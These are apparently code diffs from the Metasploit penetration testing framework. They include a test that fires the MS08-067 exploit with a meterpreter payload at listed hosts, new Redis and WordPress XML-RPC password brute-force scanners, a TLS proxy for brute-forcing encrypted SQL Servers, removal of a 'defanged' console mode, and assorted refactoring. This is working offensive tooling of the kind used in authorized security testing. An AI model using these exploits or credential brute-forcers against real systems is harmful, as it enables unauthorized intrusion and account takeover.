**This does not guarantee anonymity! Your browser, and its setting may still give you away.**

View File

@ -23,7 +23,6 @@
_arguments \
{-a,--ask}"[Ask before exiting Metasploit or accept 'exit -y']" \
"-c[Load the specified configuration file]:configuration file:_files" \
{-d,--defanged}"[Execute the console as defanged]" \
{-E,--environment}"[Specify the database environment to load from the configuration]:environment:(production development)" \
{-h,--help}"[Show help text]" \
{-L,--real-readline}"[Use the system Readline library instead of RbReadline]" \

View File

@ -1,181 +1,27 @@
@wip
@targets @db
Feature: MS08-067 netapi
Background:
Given a directory named "home"
And I cd to "home"
And a mocked home directory
Given I run `msfconsole` interactively
And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
Scenario: The MS08-067 Module should have the following options
When I type "use exploit/windows/smb/ms08_067_netapi"
And I type "show options"
And I type "exit"
Then the output should contain:
Scenario: The MS08-067 should get a session with bind_tcp
Given I ready the windows targets
Given a file named "ms08-067-bind.rc" with:
"""
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
<ruby>
hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
self.run_single('use exploit/windows/smb/ms08_067_netapi')
self.run_single('set payload windows/meterpreter/bind_tcp')
hosts.each do |host|
self.run_single("set RHOST #{host['ipAddress']}")
self.run_single('run -j')
sleep 1
end
self.run_single('sessions -K')
</ruby>
"""
Scenario: The MS08-067 Module should have the following advanced options
When I type "use exploit/windows/smb/ms08_067_netapi"
And I type "show advanced"
And I type "exit"
Then the output should contain:
"""
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
Name : ConnectTimeout
Current Setting: 10
Description : Maximum number of seconds to establish a TCP connection
Name : ContextInformationFile
Current Setting:
Description : The information file that contains context information
Name : DCERPC::ReadTimeout
Current Setting: 10
Description : The number of seconds to wait for DCERPC responses
Name : DisablePayloadHandler
Current Setting: false
Description : Disable the handler code for the selected payload
Name : EnableContextEncoding
Current Setting: false
Description : Use transient context when encoding payloads
Name : NTLM::SendLM
Current Setting: true
Description : Always send the LANMAN response (except when NTLMv2_session is
specified)
Name : NTLM::SendNTLM
Current Setting: true
Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
NTLM responses
Name : NTLM::SendSPN
Current Setting: true
Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
authentification on windows Seven/2008r2 when SPN is required
Name : NTLM::UseLMKey
Current Setting: false
Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
when the LM response is sent
Name : NTLM::UseNTLM2_session
Current Setting: true
Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
NTLMv2_session
Name : NTLM::UseNTLMv2
Current Setting: true
Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
is true
Name : Proxies
Current Setting:
Description : A proxy chain of format type:host:port[,type:host:port][...]
Name : SMB::ChunkSize
Current Setting: 500
Description : The chunk size for SMB segments, bigger values will increase
speed but break NT 4.0 and SMB signing
Name : SMB::Native_LM
Current Setting: Windows 2000 5.0
Description : The Native LM to send during authentication
Name : SMB::Native_OS
Current Setting: Windows 2000 2195
Description : The Native OS to send during authentication
Name : SMB::VerifySignature
Current Setting: false
Description : Enforces client-side verification of server response signatures
Name : SMBDirect
Current Setting: true
Description : The target port is a raw SMB service (not NetBIOS)
Name : SMBDomain
Current Setting: .
Description : The Windows domain to use for authentication
Name : SMBName
Current Setting: *SMBSERVER
Description : The NetBIOS hostname (required for port 139 connections)
Name : SMBPass
Current Setting:
Description : The password for the specified username
Name : SMBUser
Current Setting:
Description : The username to authenticate as
Name : SSL
Current Setting: false
Description : Negotiate SSL for outgoing connections
Name : SSLCipher
Current Setting:
Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
Name : SSLVerifyMode
Current Setting: PEER
Description : SSL verification method (Accepted: CLIENT_ONCE,
FAIL_IF_NO_PEER_CERT, NONE, PEER)
Name : SSLVersion
Current Setting: SSL3
Description : Specify the version of SSL that should be used (Accepted: SSL2,
SSL3, TLS1)
Name : VERBOSE
Current Setting: false
Description : Enable detailed status messages
Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module
Name : WfsDelay
Current Setting: 0
Description : Additional delay when waiting for a session
"""
@targets
Scenario: Show RHOST/etc variable expansion from a config file
When I type "use exploit/windows/smb/ms08_067_netapi"
When RHOST is WINDOWS
And I type "set PAYLOAD windows/meterpreter/bind_tcp"
And I type "show options"
And I type "run"
And I type "exit"
And I type "exit"
Then the output should match /spider-wxp/
When I run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit`
Then the 'Mdm::Host' table contains the expected targets

View File

@ -1,10 +0,0 @@
When /^targets are loaded$/ do
config_file = File.expand_path('features/support/targets.yml')
fail "Target config file #{config_file} does not exist" unless File.exists?(config_file)
@target_config = YAML.load_file(config_file)
end
When /^(RHOSTS?) (?:are|is) (\S+)$/ do |type, target_type|
fail "No target type #{target_type}" unless @target_config.key?(target_type)
step "I type \"set #{type} #{@target_config[target_type]}\""
end

View File

@ -26,4 +26,9 @@ unless Bundler.settings.without.include?(:coverage)
# set environment variable so child processes will merge their coverage data with parent process's coverage data.
set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}")
end
Before('@db') do |scenario|
dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname))
ActiveRecord::Base.establish_connection(dbconfig["test"])
end
end

View File

@ -1,2 +1,7 @@
WINDOWS: spider-wxp.vuln.lax.rapid7.com
LINUX: spider-ubuntu.vuln.lax.rapid7.com
windows:
-
hostname: wxpsp0
ip: 127.0.0.100
-
hostname: wxpsp2
ip: 127.0.0.101

View File

@ -80,7 +80,6 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths
driver_options['DatabaseYAML'] = options.database.config
driver_options['DeferModuleLoads'] = options.modules.defer_loads
driver_options['Defanged'] = options.console.defanged
driver_options['DisableBanner'] = options.console.quiet
driver_options['DisableDatabase'] = options.database.disable
driver_options['LocalOutput'] = options.console.local_output

View File

@ -36,50 +36,13 @@ module Metasploit::Framework::CommonEngine
config.paths.add 'data/meterpreter', glob: '**/ext_*'
config.paths.add 'modules'
config.active_support.deprecation = :notify
config.active_support.deprecation = :stderr
#
# `initializer`s
#
initializer 'metasploit_framework.merge_meterpreter_extensions' do
Rails.application.railties.engines.each do |engine|
merge_meterpreter_extensions(engine)
end
# The Rails.application itself could have paths['data/meterpreter'], but will not be part of
# Rails.application.railties.engines because only direct subclasses of `Rails::Engine` are returned.
merge_meterpreter_extensions(Rails.application)
end
end
#
# Instance Methods
#
private
# Merges the meterpreter extensions from `engine`'s `paths['data/meterpreter]`.
#
# @param engine [Rails::Engine] a Rails engine or application that has meterpreter extensions
# @return [void]
# @todo Make metasploit-framework look for meterpreter extension in paths['data/meterpreter'] from the engine instead of copying them.
def merge_meterpreter_extensions(engine)
data_meterpreter_paths = engine.paths['data/meterpreter']
# may be `nil` since 'data/meterpreter' is not part of the core Rails::Engine paths set.
if data_meterpreter_paths
source_paths = data_meterpreter_paths.existent
destination_directory = root.join('data', 'meterpreter').to_path
source_paths.each do |source_path|
basename = File.basename(source_path)
destination_path = File.join(destination_directory, basename)
unless destination_path == source_path
FileUtils.copy(source_path, destination_directory)
end
end
end
end
end

View File

@ -43,6 +43,7 @@ module Metasploit
def set_sane_defaults
self.method = "POST" if self.method.nil?
super
end
# Actually doing the login. Called by #attempt_login

View File

@ -32,6 +32,11 @@ module Metasploit
validates :windows_authentication,
inclusion: { in: [true, false] }
attr_accessor :tdsencryption
validates :tdsencryption,
inclusion: { in: [true, false] }
def attempt_login(credential)
result_options = {
credential: credential,
@ -70,6 +75,7 @@ module Metasploit
self.use_ntlm2_session = true if self.use_ntlm2_session.nil?
self.use_ntlmv2 = true if self.use_ntlmv2.nil?
self.windows_authentication = false if self.windows_authentication.nil?
self.tdsencryption = false if self.tdsencryption.nil?
end
end

View File

@ -0,0 +1,91 @@
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
require 'metasploit/framework/tcp/client'
module Metasploit
module Framework
module LoginScanner
# This is the LoginScanner class for dealing with REDIS.
# It is responsible for taking a single target, and a list of credentials
# and attempting them. It then saves the results.
class Redis
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Tcp::Client
DEFAULT_PORT = 6379
LIKELY_PORTS = [ DEFAULT_PORT ]
LIKELY_SERVICE_NAMES = [ 'redis' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# This method can create redis command which can be read by redis server
def redis_proto(command_parts)
return if command_parts.blank?
command = "*#{command_parts.length}\r\n"
command_parts.each do |p|
command << "$#{p.length}\r\n#{p}\r\n"
end
command
end
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
host: host,
port: port,
protocol: 'tcp',
service_name: 'redis'
}
disconnect if self.sock
begin
connect
select([sock], nil, nil, 0.4)
command = redis_proto(['AUTH', "#{credential.private}"])
sock.put(command)
result_options[:proof] = sock.get_once
# No password - ( -ERR Client sent AUTH, but no password is set\r\n )
# Invalid password - ( -ERR invalid password\r\n )
# Valid password - (+OK\r\n)
if result_options[:proof] && result_options[:proof] =~ /but no password is set/i
result_options[:status] = Metasploit::Model::Login::Status::NO_AUTH_REQUIRED
elsif result_options[:proof] && result_options[:proof] =~ /^-ERR invalid password/i
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
elsif result_options[:proof] && result_options[:proof][/^\+OK/]
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
end
rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e
result_options.merge!(
proof: e,
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
)
end
disconnect if self.sock
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
private
# (see Base#set_sane_defaults)
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
self.max_send_size ||= 0
self.send_delay ||= 0
end
end
end
end
end

View File

@ -78,7 +78,7 @@ module Metasploit
opt_hash
)
end
rescue ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error => e
rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error => e
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
rescue Net::SSH::Exception
result_options.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: e)

View File

@ -0,0 +1,150 @@
require 'metasploit/framework/login_scanner/http'
require 'nokogiri'
module Metasploit
module Framework
module LoginScanner
class WordpressMulticall < HTTP
# @!attribute passwords
# @return [Array]
attr_accessor :passwords
# @!attribute chunk_size, limits number of passwords per XML request
# @return [Fixnum]
attr_accessor :chunk_size
# @!attribute block_wait, time to wait if got blocked by the target
# @return [Fixnum]
attr_accessor :block_wait
# @!attribute base_uri
# @return [String]
attr_accessor :base_uri
# @!attribute wordpress_url_xmlrpc
# @return [String]
attr_accessor :wordpress_url_xmlrpc
def set_default
self.wordpress_url_xmlrpc = 'xmlrpc.php'
self.block_wait = 6
self.base_uri = '/'
self.chunk_size = 1700
end
# Returns the XML data that is used for the login.
#
# @param user [String] username
# @return [Array]
def generate_xml(user)
xml_payloads = []
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
# Wordpress limitation which is 1700 maximum.
passwords.each_slice(chunk_size) do |pass_group|
document = Nokogiri::XML::Builder.new do |xml|
xml.methodCall {
xml.methodName("system.multicall")
xml.params {
xml.param {
xml.value {
xml.array {
xml.data {
pass_group.each do |pass|
xml.value {
xml.struct {
xml.member {
xml.name("methodName")
xml.value { xml.string("wp.getUsersBlogs") }}
xml.member {
xml.name("params")
xml.value {
xml.array {
xml.data {
xml.value {
xml.array {
xml.data {
xml.value { xml.string(user) }
xml.value { xml.string(pass) }
}}}}}}}}}
end
}}}}}}
end
xml_payloads << document.to_xml
end
xml_payloads
end
# Sends an HTTP request to Wordpress.
#
# @param xml [String] XML data.
# @return [void]
def send_wp_request(xml)
opts =
{
'method' => 'POST',
'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
'data' => xml,
'ctype' =>'text/xml'
}
client = Rex::Proto::Http::Client.new(rhost)
client.connect
req = client.request_cgi(opts)
res = client.send_recv(req)
if res && res.code != 200
sleep(block_wait * 60)
end
@res = res
end
# Attempts to login.
#
# @param credential [Metasploit::Framework::Credential]
# @return [Metasploit::Framework::LoginScanner::Result]
def attempt_login(credential)
generate_xml(credential.public).each do |xml|
send_wp_request(xml)
req_xml = Nokogiri::Slop(xml)
res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
result = value.at("struct/member/value/int")
if result.nil?
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
credential.private = pass
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
return Result.new(result_opts)
end
end
end
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
return Result.new(result_opts)
end
end
end
end
end

View File

@ -78,4 +78,3 @@ module Metasploit
end
end

View File

@ -1,4 +1,5 @@
require 'metasploit/framework/tcp/client'
require 'metasploit/framework/mssql/tdssslproxy'
module Metasploit
module Framework
@ -48,11 +49,7 @@ module Metasploit
disconnect if self.sock
connect
# Send a prelogin packet and check that encryption is not enabled
if mssql_prelogin() != ENCRYPT_NOT_SUP
raise ::Rex::ConnectionError, "Encryption is not supported"
end
mssql_prelogin
if windows_authentication
idx = 0
@ -150,7 +147,14 @@ module Metasploit
# has a strange behavior that differs from the specifications
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
resp = mssql_send_recv(pkt,15, false)
if tdsencryption == true
proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl
resp = proxy.send_recv(pkt)
else
resp = mssql_send_recv(pkt)
end
# Get default data
begin
@ -199,8 +203,13 @@ module Metasploit
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
resp = mssql_send_recv(pkt)
if self.tdsencryption == true
resp = mssql_ssl_send_recv(pkt,proxy)
proxy.cleanup
proxy = nil
else
resp = mssql_send_recv(pkt)
end
#SQL Server Authentification
else
@ -282,13 +291,23 @@ module Metasploit
# Packet header and total length including header
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
resp = mssql_send_recv(pkt)
if self.tdsencryption == true
proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl
resp = mssql_ssl_send_recv(pkt,proxy)
proxy.cleanup
proxy = nil
else
resp = mssql_send_recv(pkt)
end
end
info = {:errors => []}
info = mssql_parse_reply(resp,info)
disconnect
return false if not info
info[:login_ack] ? true : false
end
@ -586,7 +605,14 @@ module Metasploit
]
version = [0x55010008,0x0000].pack("Vv")
encryption = ENCRYPT_NOT_SUP # off
# if manually set, we will honour
if tdsencryption == true
encryption = ENCRYPT_ON
else
encryption = ENCRYPT_NOT_SUP
end
instoptdata = "MSSQLServer\0"
threadid = "\0\0" + Rex::Text.rand_text(2)
@ -639,12 +665,57 @@ module Metasploit
if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0]
else
#force to ENCRYPT_NOT_SUP and hope for the best
raise RunTimeError, "Unable to parse encryption req. "\
"from server during prelogin"
encryption_mode = ENCRYPT_NOT_SUP
end
if encryption_mode != ENCRYPT_NOT_SUP and enc_error
raise RuntimeError,"Encryption is not supported"
##########################################################
# Our initial prelogin pkt above said we didnt support
# encryption (it's quicker and the default).
#
# Per the matrix on the following link, SQL Server will
# terminate the connection if it does require TLS,
# otherwise it will accept an unencrypted session. As
# part of this initial response packet, it also returns
# ENCRYPT_REQ.
#
# https://msdn.microsoft.com\
# /en-us/library/ee320519(v=sql.105).aspx
#
##########################################################
if encryption_mode == ENCRYPT_REQ
# restart prelogin process except that we tell SQL Server
# than we are now able to encrypt
disconnect if self.sock
connect
# offset 35 is the flag - turn it on
pkt[35] = [ENCRYPT_ON].pack('C')
self.tdsencryption = true
framework_module.print_status("TLS encryption has " \
"been enabled based on server response.")
resp = mssql_send_recv(pkt)
idx = 0
while resp and resp[0,1] != "\xff" and resp.length > 5
token = resp.slice!(0,5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
idx += token[1]
break
end
end
if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0]
else
raise RuntimeError, "Unable to parse encryption "\
"req during pre-login"
end
end
encryption_mode
end
@ -687,6 +758,10 @@ module Metasploit
resp
end
def mssql_ssl_send_recv(req,tdsproxy,timeout=15,check_status=true)
tdsproxy.send_recv(req)
end
#
# Encrypt a password according to the TDS protocol (encode)
#

View File

@ -0,0 +1,126 @@
# -*- coding: binary -*-
require 'openssl'
#
# TDSSSLProxy:
#
# SQL Server uses the TDS protocol to transmit data between clients and
# servers. Of course this sits on top of TCP.
#
# By default, the TDS payload is not encrypted. However, if "force
# encryption" is set under the SQL Server protocol properties, it will
# use SSL/TLS to encrypt the TDS data. Oddly, the entire TCP stream is
# not encrypted (as is say for HTTPS), but instead a TDS header is
# put on the front of the TLS packet. As a result, the full TLS/SSL
# setup is done within a series of TDS payloads.
#
# This "proxy" basically creates a fake SSL endpoint (s2) from which it
# can add/remove the TDS header as required. This is implemented as a
# socket pair (think, a bidirectional pipe), where the other end is s1:
#
# sslsock <-> s1 <-> s2 <-> tdssock <-> target SQL Server.
#
# (tdssock is the reference to the "sock" from the scanner module)
#
# TO DO:
#
# This enables brute force of a SQL Server which requires encryption.
# However, future updates will permit any read/write using
# mssql_send_recv() to use crypto if required and transparently to
# other MSF developers.
#
# Cheers, JH
class TDSSSLProxy
TYPE_TDS7_LOGIN = 16
TYPE_PRE_LOGIN_MESSAGE = 18
STATUS_END_OF_MESSAGE = 0x01
def initialize(sock)
@tdssock = sock
@s1, @s2 = Rex::Socket.tcp_socket_pair
end
def cleanup
@running = false
@t1.join
end
def setup_ssl
@running = true
@t1 = Thread.start { ssl_setup_thread }
ssl_context = OpenSSL::SSL::SSLContext.new(:TLSv1)
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ssl_context)
@ssl_socket.connect
end
def send_recv(pkt)
@ssl_socket.write(pkt)
done = false
resp = ""
while (not done)
head = @ssl_socket.read(8)
if !(head and head.length == 8)
return false
end
# Is this the last buffer?
if (head[1, 1] == "\x01" or not check_status)
done = true
end
# Grab this block's length
rlen = head[2, 2].unpack('n')[0] - 8
while (rlen > 0)
buff = @ssl_socket.read(rlen)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
def ssl_setup_thread
while @running do
res = select([@tdssock, @s2], nil, nil, 0.1)
if res
res[0].each do |r|
# response from SQL Server for client
if r == @tdssock
resp = @tdssock.recv(4096)
if @ssl_socket.state[0, 5] == "SSLOK"
@s2.send(resp, 0)
else
@s2.send(resp[8..-1], 0)
end
end
# request from client for SQL Server
if r == @s2
resp = @s2.recv(4096)
# SSL negotiation completed - just send it on
if @ssl_socket.state[0, 5] == "SSLOK"
@tdssock.send(resp, 0)
# Still doing SSL
else
tds_pkt_len = 8 + resp.length
pkt_hdr = ''
pkt_hdr << [TYPE_PRE_LOGIN_MESSAGE, STATUS_END_OF_MESSAGE, tds_pkt_len, 0x0000, 0x00, 0x00].pack('CCnnCC')
pkt = pkt_hdr << resp
@tdssock.send(pkt, 0)
end
end
end
end
end
@s1.close
@s2.close
end
end

View File

@ -10,7 +10,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
options.console.commands = []
options.console.confirm_exit = false
options.console.defanged = false
options.console.local_output = nil
options.console.plugins = []
options.console.quiet = false
@ -40,10 +39,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
options.console.confirm_exit = true
end
option_parser.on('-d', '--defanged', 'Execute the console as defanged') do
options.console.defanged = true
end
option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do
options.console.real_readline = true
end

View File

@ -49,7 +49,7 @@ module Metasploit
#
# @return [void]
def self.optionally_active_record_railtie
if ::File.exist?(Rails.application.config.paths['config/database'].first)
if ::Rails.application.config.paths['config/database'].any?
optionally(
'active_record/railtie',
'activerecord not in the bundle, so database support will be disabled.'

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.11.7"
VERSION = "4.11.22"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -27,7 +27,7 @@ class Config < Hash
# @return [String] the base configuration directory
def self.get_config_root
# Use MSFCFGDIR environment variable first. See feature request #5797
# Use MSF_CFGROOT_CONFIG environment variable first.
val = Rex::Compat.getenv('MSF_CFGROOT_CONFIG')
if (val and File.directory?(val))
return val

View File

@ -14,7 +14,7 @@ module Msf
# the supplied module instance.
#
# @param mod [Msf::Module] the module to dump information for.
# @param indent [String] the indentation to use.
# @param _indent [String] the indentation to use.
# @return [String] formatted text output of the dump.
def self.dump_module(mod, _indent = "")
case mod.type

View File

@ -400,8 +400,7 @@ class ReadableText
'Description'
])
mod.options.sorted.each { |entry|
name, opt = entry
mod.options.sorted.each do |name, opt|
val = mod.datastore[name] || opt.default
next if (opt.advanced?)
@ -409,7 +408,7 @@ class ReadableText
next if (missing && opt.valid?(val))
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
}
end
return tbl.to_s
end
@ -420,24 +419,23 @@ class ReadableText
# @param indent [String] the indentation to use.
# @return [String] the string form of the information.
def self.dump_advanced_options(mod, indent = '')
output = ''
pad = indent
tbl = Rex::Ui::Text::Table.new(
'Indent' => indent.length,
'Columns' =>
[
'Name',
'Current Setting',
'Required',
'Description'
])
mod.options.sorted.each { |entry|
name, opt = entry
mod.options.sorted.each do |name, opt|
next unless opt.advanced?
val = mod.datastore[name] || opt.default
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
end
next if (!opt.advanced?)
val = mod.datastore[name] || opt.default.to_s
desc = word_wrap(opt.desc, indent.length + 3)
desc = desc.slice(indent.length + 3, desc.length)
output << pad + "Name : #{name}\n"
output << pad + "Current Setting: #{val}\n"
output << pad + "Description : #{desc}\n"
}
return output
return tbl.to_s
end
# Dumps the evasion options associated with the supplied module.
@ -446,25 +444,23 @@ class ReadableText
# @param indent [String] the indentation to use.
# @return [String] the string form of the information.
def self.dump_evasion_options(mod, indent = '')
output = ''
pad = indent
tbl = Rex::Ui::Text::Table.new(
'Indent' => indent.length,
'Columns' =>
[
'Name',
'Current Setting',
'Required',
'Description'
])
mod.options.sorted.each { |entry|
name, opt = entry
mod.options.sorted.each do |name, opt|
next unless opt.evasion?
val = mod.datastore[name] || opt.default
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
end
next if (!opt.evasion?)
val = mod.datastore[name] || opt.default || ''
desc = word_wrap(opt.desc, indent.length + 3)
desc = desc.slice(indent.length + 3, desc.length)
output << pad + "Name : #{name}\n"
output << pad + "Current Setting: #{val}\n"
output << pad + "Description : #{desc}\n"
}
return output
return tbl.to_s
end
# Dumps the references associated with the supplied module.
@ -524,18 +520,18 @@ class ReadableText
def self.dump_sessions(framework, opts={})
ids = (opts[:session_ids] || framework.sessions.keys).sort
verbose = opts[:verbose] || false
show_extended = opts[:show_extended] || false
indent = opts[:indent] || DefaultIndent
col = opts[:col] || DefaultColumnWrap
return dump_sessions_verbose(framework, opts) if verbose
columns =
[
'Id',
'Type',
'Information',
'Connection'
]
columns = []
columns << 'Id'
columns << 'Type'
columns << 'Checkin?' if show_extended
columns << 'Information'
columns << 'Connection'
tbl = Rex::Ui::Text::Table.new(
'Indent' => indent,
@ -551,11 +547,22 @@ class ReadableText
sinfo = sinfo[0,77] + "..."
end
row = [ session.sid.to_s, session.type.to_s, sinfo, session.tunnel_to_s + " (#{session.session_host})" ]
if session.respond_to? :platform
row[1] << (" " + session.platform)
row = []
row << session.sid.to_s
row << session.type.to_s
row[-1] << (" " + session.platform) if session.respond_to?(:platform)
if show_extended
if session.respond_to?(:last_checkin) && session.last_checkin
row << "#{(Time.now.to_i - session.last_checkin.to_i)}s ago"
else
row << '?'
end
end
row << sinfo
row << session.tunnel_to_s + " (#{session.session_host})"
tbl << row
}

View File

@ -216,7 +216,7 @@ class CommandShell
end
end
if (datastore['InitialAutoRunScript'] && datastore['InitialAutoRunScript'].empty? == false)
if datastore['InitialAutoRunScript'] && !datastore['InitialAutoRunScript'].empty?
args = Shellwords.shellwords( datastore['InitialAutoRunScript'] )
print_status("Session ID #{sid} (#{tunnel_to_s}) processing InitialAutoRunScript '#{datastore['InitialAutoRunScript']}'")
execute_script(args.shift, *args)

View File

@ -37,13 +37,13 @@ module MeterpreterOptions
framework.sessions.schedule Proc.new {
# Configure unicode encoding before loading stdapi
session.encode_unicode = ( datastore['EnableUnicodeEncoding'] ? true : false )
session.encode_unicode = datastore['EnableUnicodeEncoding']
session.init_ui(self.user_input, self.user_output)
valid = true
if datastore['AutoVerifySession'] == true
if datastore['AutoVerifySession']
if not session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i)
print_error("Meterpreter session #{session.sid} is not valid and will be closed")
valid = false
@ -52,7 +52,7 @@ module MeterpreterOptions
if valid
if datastore['AutoLoadStdapi'] == true
if datastore['AutoLoadStdapi']
session.load_stdapi
@ -72,7 +72,7 @@ module MeterpreterOptions
end
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
if (datastore[key].empty? == false)
if !datastore[key].empty?
args = Shellwords.shellwords( datastore[key] )
print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
session.execute_script(args.shift, *args)

View File

@ -84,7 +84,7 @@ module VncInjectOptions
print_status("Local TCP relay started.")
# If the AUTOVNC flag is set, launch VNC viewer.
if (datastore['AUTOVNC'] == true)
if datastore['AUTOVNC']
if (session.autovnc(datastore['ViewOnly']))
print_status("Launched vncviewer.")
else

View File

@ -21,7 +21,7 @@ module Msf
allowed_module_paths << Msf::Config.user_module_directory
end
Rails.application.railties.engines.each do |engine|
::Rails::Engine.subclasses.map(&:instance).each do |engine|
extract_engine_module_paths(engine).each do |path|
allowed_module_paths << path
end
@ -58,7 +58,6 @@ module Msf
# Extract directories `engine.paths['modules']` from `engine`.
#
# @param engine [Rails::Engine] a rails engine or application
# @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths}
# @return [Array<String>] The list of module paths to load
def extract_engine_module_paths(engine)
engine.paths['modules'] ? engine.paths['modules'].existent_directories : []

View File

@ -25,7 +25,8 @@ module Auxiliary::HttpCrawler
OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]),
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']),
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION'])
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION']),
OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false])
], self.class
)
@ -43,8 +44,7 @@ module Auxiliary::HttpCrawler
OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']),
OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]),
OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]),
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL23', 'SSL3', 'TLS1']]),
Opt::SSLVersion
], self.class
)

View File

@ -20,7 +20,7 @@ module Msf
register_options(
[
Opt::RPORT(6379),
OptString.new('Password', [false, 'Redis password for authentication test', 'foobared'])
OptString.new('PASSWORD', [false, 'Redis password for authentication test', 'foobared'])
]
)
@ -48,29 +48,29 @@ module Msf
def redis_command(*commands)
command_string = printable_redis_response(commands.join(' '))
unless (command_response = send_redis_command(*commands))
vprint_error("#{peer} -- no response to '#{command_string}'")
vprint_error("No response to '#{command_string}'")
return
end
if /(?<auth_response>ERR operation not permitted|NOAUTH Authentication required)/i =~ command_response
fail_with(::Msf::Module::Failure::BadConfig, "#{peer} requires authentication but Password unset") unless datastore['Password']
vprint_status("#{peer} -- requires authentication (#{printable_redis_response(auth_response, false)})")
if (auth_response = send_redis_command('AUTH', datastore['Password']))
vprint_status("Requires authentication (#{printable_redis_response(auth_response, false)})")
if (auth_response = send_redis_command('AUTH', datastore['PASSWORD']))
unless auth_response =~ /\+OK/
vprint_error("#{peer} -- authentication failure: #{printable_redis_response(auth_response)}")
vprint_error("Authentication failure: #{printable_redis_response(auth_response)}")
return
end
vprint_status("#{peer} -- authenticated")
vprint_status("Authenticated")
unless (command_response = send_redis_command(*commands))
vprint_error("#{peer} -- no response to '#{command_string}'")
vprint_error("No response to '#{command_string}'")
return
end
else
